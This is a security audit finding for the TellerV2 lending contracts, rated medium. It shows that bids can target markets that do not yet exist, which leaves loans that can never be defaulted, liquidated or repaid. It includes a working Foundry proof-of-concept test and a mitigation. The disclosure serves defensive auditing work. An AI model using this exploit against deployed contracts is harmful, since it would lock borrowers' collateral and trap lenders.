Vulnerability: bids can be created against markets that doesn't exist
Severity: medium

Description:
Bids can be created against markets that does not yet exist. When this market is created, the bid can be accepted but neither defaulted/liquidated nor repaid.\\nThere's no verification that the market actually exists when submitting a bid. Hence a user could submit a bid for a non existing market.\\nFor it to not revert it must have 0% APY and the bid cannot be accepted until a market exists.\\nHowever, when this market is created the bid can be accepted. Then the loan would be impossible to default/liquidate:\\n```\\nFile: TellerV2.sol\\n\\n       if (bidDefaultDuration[_bidId] == 0) return false;\\n```\\n\\nSince `bidDefaultDuration[_bidId]` will be `0`\\nAny attempt to repay will revert due to division by 0:\\n```\\nFile: libraries/V2Calculations.sol\\n\\n           uint256 owedAmount = (maxCycleOwed * owedTime) /\\n               _bid.terms.paymentCycle; \\n```\\n\\nSince `_bid.terms.paymentCycle` will also be `0` (and it will always end up in this branch since `PaymentType` will be EMI (0)).\\nHence the loan can never be closed.\\nPoC:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";\\n\\nimport { TellerV2 } from "../contracts/TellerV2.sol";\\nimport { CollateralManager } from "../contracts/CollateralManager.sol";\\nimport { LenderCommitmentForwarder } from "../contracts/LenderCommitmentForwarder.sol";\\nimport { CollateralEscrowV1 } from "../contracts/escrow/CollateralEscrowV1.sol";\\nimport { MarketRegistry } from "../contracts/MarketRegistry.sol";\\n\\nimport { ReputationManagerMock } from "../contracts/mock/ReputationManagerMock.sol";\\nimport { LenderManagerMock } from "../contracts/mock/LenderManagerMock.sol";\\nimport { TellerASMock } from "../contracts/mock/TellerASMock.sol";\\n\\nimport {TestERC20Token} from "./tokens/TestERC20Token.sol";\\n\\nimport "lib/forge-std/src/Test.sol";\\nimport "lib/forge-std/src/StdAssertions.sol";\\n\\ncontract LoansTest is Test {\\n    MarketRegistry marketRegistry;\\n    TellerV2 tellerV2;\\n    \\n    TestERC20Token principalToken;\\n\\n    address alice = address(0x1111);\\n    address bob = address(0x2222);\\n    address owner = address(0x3333);\\n\\n    function setUp() public {\\n        tellerV2 = new TellerV2(address(0));\\n\\n        marketRegistry = new MarketRegistry();\\n        TellerASMock tellerAs = new TellerASMock();\\n        marketRegistry.initialize(tellerAs);\\n\\n        LenderCommitmentForwarder lenderCommitmentForwarder = \\n            new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));\\n        CollateralManager collateralManager = new CollateralManager();\\n        collateralManager.initialize(address(new UpgradeableBeacon(address(new CollateralEscrowV1()))),\\n            address(tellerV2));\\n        address rm = address(new ReputationManagerMock());\\n        address lm = address(new LenderManagerMock());\\n        tellerV2.initialize(0, address(marketRegistry), rm, address(lenderCommitmentForwarder),\\n            address(collateralManager), lm);\\n\\n        principalToken = new TestERC20Token("Principal Token", "PRIN", 12e18, 18);\\n    }\\n\\n    function testSubmitBidForNonExistingMarket() public {\\n        uint256 amount = 12e18;\\n        principalToken.transfer(bob,amount);\\n\\n        vm.prank(bob);\\n        principalToken.approve(address(tellerV2),amount);\\n\\n        // alice places bid on non-existing market\\n        vm.prank(alice);\\n        uint256 bidId = tellerV2.submitBid(\\n            address(principalToken),\\n            1, // non-existing right now\\n            amount,\\n            360 days,\\n            0, // any APY != 0 will cause revert on div by 0\\n            "",\\n            alice\\n        );\\n\\n        // bid cannot be accepted before market\\n        vm.expectRevert(); // div by 0\\n        vm.prank(bob);\\n        tellerV2.lenderAcceptBid(bidId);\\n\\n        vm.startPrank(owner);\\n        uint256 marketId = marketRegistry.createMarket(\\n            owner,\\n            30 days,\\n            30 days,\\n            1 days,\\n            0,\\n            false,\\n            false,\\n            ""\\n        );\\n        marketRegistry.setMarketFeeRecipient(marketId, owner);\\n        vm.stopPrank();\\n\\n        // lender takes bid\\n        vm.prank(bob);\\n        tellerV2.lenderAcceptBid(bidId);\\n\\n        // should be liquidatable now\\n        vm.warp(32 days);\\n\\n        // loan cannot be defaulted/liquidated\\n        assertFalse(tellerV2.isLoanDefaulted(bidId));\\n        assertFalse(tellerV2.isLoanLiquidateable(bidId));\\n\\n        vm.startPrank(alice);\\n        principalToken.approve(address(tellerV2),12e18);\\n\\n        // and loan cannot be repaid\\n        vm.expectRevert(); // division by 0\\n        tellerV2.repayLoanFull(bidId);\\n        vm.stopPrank();\\n    }\\n}\\n```\\n

Impact:
This will lock any collateral forever since there's no way to retrieve it. For this to happen accidentally a borrower would have to create a bid for a non existing market with 0% APY though.\\nThis could also be used to lure lenders since the loan cannot be liquidated/defaulted. This might be difficult since the APY must be 0% for the bid to be created. Also, this will lock any collateral provided by the borrower forever.\\nDue to these circumstances I'm categorizing this as medium.

Recommended mitigation:
When submitting a bid, verify that the market exists.